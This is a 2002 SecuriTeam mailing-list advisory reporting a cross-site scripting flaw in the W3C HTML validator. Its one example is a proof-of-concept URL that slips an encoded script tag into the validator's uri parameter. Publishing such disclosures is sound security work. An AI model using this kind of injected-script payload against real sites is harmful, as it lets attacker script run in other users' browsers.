[NEWS] W3C HTML Validator XSS Hole

From: support@securiteam.com
Date: 09/16/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 16 Sep 2002 15:17:44 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  W3C HTML Validator XSS Hole
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SUMMARY

A vulnerability exists in the W3C HTML validator that allows for
cross-site scripting.

DETAILS

Example:
http://validator.w3.org/check?charset=%28detect+automatically%29&doctype=%28
detect+automatically%29&uri=http%3A%2F%2F%3CSCRIPT%3Ealert%28document.URL%29
%3C%2FSCRIPT%3E

ADDITIONAL INFORMATION

The information has been provided by <mailto:mattmurphy@kc.rr.com>
Matthew Murphy.

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